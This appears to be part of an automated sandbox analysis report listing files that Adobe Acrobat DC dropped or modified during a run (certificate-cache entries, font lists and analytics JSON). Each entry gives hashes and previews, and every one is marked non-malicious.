Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkll64I/ttfllXlE/HT8k0NNX8RolJuRdxLlGB9lQRYwpDdt:kKrlteT8vNMa8RdWBwRd
MD5:	A40ED4511CA324F853D59D26EF943B81
SHA1:	BAF5B06EEE347CA7C97FECFACBF892C817B41071
SHA-256:	28212964B8B3F344DF0BFDB2C8ECF01FE32908456F29D6F16BF8CE5F2B3819A6
SHA-512:	97FE7F9795AB15261F23402D5103B6A72D8629045D62D09C3E8868FA1F84C29161671E4E8A4090957DB89938C23A09427917BCD70A0F74281EB8C67B39F496BA
Malicious:	false
Preview:	p...... ........V...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKKptL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:atiDImsLNkPlE99SNxAhUe/3
MD5:	56984C1832489576A1DA9A82E1074D2A
SHA1:	D18BDD0EC4ED094CFF1F6860981EDFD81E6F709E
SHA-256:	8212DC09D5636BC6971AF575F0F474CDD6D563EB37C33F060632365065930E12
SHA-512:	2610ABF60A37AB4D624D3E7D4EDB9C93F13BA0502C5016AC11DA99C2C882876C562E2C3A8D47B3BA612741C85D8AFBFBA47A91952EF62FBD3CC73423942BD4F1
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5916

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5916

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350690947768238
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJM3g98kUwPeUkwRe9:YvXKXNTQ+1UTbdJH5GMbLUkee9
MD5:	A1A1DCDED5D3DE516C715CE1830D29A9
SHA1:	AC684FC12FEBADA43B0A0336CD4E6534D91CBBA7
SHA-256:	47BB130DBB65F330C239726A727406D708ED458DE75F2D028D7C14DB5B75E8B2
SHA-512:	01490ECC2C1D624EABF0E5EE66677973F9321EC55FFB2EE542B4C28DF93B429A00077A301CE62ABFE20C6667C8ECCC824053AC2B2DDA448ACB533CDB596C3659
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.287543623952809
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfBoTfXpnrPeUkwRe9:YvXKXNTQ+1UTbdJH5GWTfXcUkee9
MD5:	843517D8B63D01AF5C114AACA9490B2B
SHA1:	912E82E41031B472793E4F755B5A3EA113CA8EAC
SHA-256:	D3D11E50998DAA2303F8817CF0E226E52970CA730D5B850D8A94F9B16BF7EF91
SHA-512:	E6DF138A27EF2FF231BA30003B6FB4693157C5CEAF9F4FCD663B7A6E9A97B48E074D92341892BB574E68AEDC837A999A6EEF632F42EE47BD70F6CA86CDA79C0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.267069807026841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfBD2G6UpnrPeUkwRe9:YvXKXNTQ+1UTbdJH5GR22cUkee9
MD5:	7799393E219431C0CE5573BECF03EDFC
SHA1:	95B1CB1397C283A05E84A3D5A7496EF5FFAFF89E
SHA-256:	02A159221B7FE643C01B894287822E66E6D7EADE8C9D6E48F20F71612C955CD1
SHA-512:	83CB73E80952FFA72CE55C047607019C8637A79450CB9A5AF85BB129FD0862541E8A4F9DD8602001295178273D302DF68149CBE320C3A29039EEC20FC8A41F3D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3245250106905475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfPmwrPeUkwRe9:YvXKXNTQ+1UTbdJH5GH56Ukee9
MD5:	A12D74F08D11D0C7D47500D77D36B1FE
SHA1:	AE51888294122D12B4F1AC4614A3D39BF7C9B4A7
SHA-256:	CF83AB5A787B2DD803D4E410324D3104C893BD0D85F715E0AB459CC0BA4B9FBD
SHA-512:	BE96101A122F9910B0CCEE67A1FE92208A5DB71F9550F1CA8C1E0658C2ED62A31D71A6F57D052A31B9629722C380D18C0139428455AAE36760817E9EE071B113
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682238412600353
Encrypted:	false
SSDEEP:	24:Yv6XNTQgUX7+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:Yv3gw7+hgy6SAFv5Ah8cv/E
MD5:	4D8E995A9BD82E0E464371C5C0A7BEED
SHA1:	7232346D197203D0C02BF2004E589D8358EDD9FC
SHA-256:	502D879F855C66B6F8343172C3968899558F9037A8D381A8DE20077BC09EA345
SHA-512:	D4C4ADC08E5240C44B55BA88498281D035F9362AC82BFF373980840E5F9904395D5DFF54CE79EB5CD10489DD1EB283469BD1F6490CE1B71039FAA04790DF70FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263498892335316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJf8dPeUkwRe9:YvXKXNTQ+1UTbdJH5GU8Ukee9
MD5:	7D4F689AE9CF4EEFA5E2CDA7A054BC58
SHA1:	D9C5EBD2925FD3FB3E82C16254435C191A6A45C7
SHA-256:	CE3CA91ED442E33A26551F1365DEF690C6628EC5DDF1AD63ECA61E2F3AEA136C
SHA-512:	E1914E366320DB0C0C474F963646C475730D654240F7F98A91471255E9521AFA25AF9441F99D936E331CDA91353F7A3D90E94488A991CF52F74B59EB9D9EB4DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.265682372800052
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfQ1rPeUkwRe9:YvXKXNTQ+1UTbdJH5GY16Ukee9
MD5:	47E1B1AEC162E3026548F3A197B3FDAA
SHA1:	C934B13AFC20AA2BF0037B88FF2C2DFF4725DAEF
SHA-256:	64C6454D9245E748BDC0B1851092D3605A248A8F801BB3CFC1FD3DBC9E128406
SHA-512:	A5CE79BF2A9EE89AADC33766F9466CAF88DF3A16BCE4765436C531957ADD50127DBA7DBF8636DD7F3A84F71038DEC26CBAA5B9F9F1B5C7031C2531DFE31CFF58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.275539644383397
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfFldPeUkwRe9:YvXKXNTQ+1UTbdJH5Gz8Ukee9
MD5:	0BC078DEAE7D080C0BB2430DAB77BCAF
SHA1:	DA95B7F01EDD20C4E1E56A170B425F1BC9AA1B40
SHA-256:	CB812CA893B771EF4681F98BCF7F0BF9D595743750D17428FB243F830FA28E72
SHA-512:	B42D52789D231087451556753F0DAA18D9A72CF97CBEDD04F8A5F4FD51D4411D7D2BAE5435BD0854FDDCE685F77C0DB5B2C33EE2D825F8CB260AA5E28BA78121
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.289641970421517
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfzdPeUkwRe9:YvXKXNTQ+1UTbdJH5Gb8Ukee9
MD5:	D98FF4F8EF41D60D5A12B74EFD8A6F9E
SHA1:	A274B2E93D7B9C738ACA17632CB76D7138126CC9
SHA-256:	85E74324608F5FFFC76ABF3F57DE9D0873AE3D01945270D63C59833D611E3067
SHA-512:	AC33F1B2CE9F8B679BEB29BFB37ED1D042EC80A239EE930A5380AEC56C28BA06A47846B88E1A89891E8992B775FF2EBD81FD8BACF3BDA3C5E6AC86E0C392E4A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0563649-bee6-4c0d-a393-943d992725e1","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736732391680,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269374836633154
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNTQ+/mlTnYUXjb24kF0YMZHWREeoAvJfYdPeUkwRe9:YvXKXNTQ+1UTbdJH5Gg8Ukee9
MD5:	C76104BAB93C23E18755E1DA1DED2714
SHA1:	B83E7F00EE6A5217765C0C83A1F2BEA050000811
SHA-256:	DA151EAF3E9CC7A62CC19BBFF815960AC9CB26E776DCE09146A0E8326754C1CA
SHA-512:	2E584EDF7E0FC4031BE48AF9108B4C9DF78D9BC47A8244FCA7FD399EE94D616839746FB80BA69054830916EB46E3BF77C33A45D679E5490C8957B5534C38846F
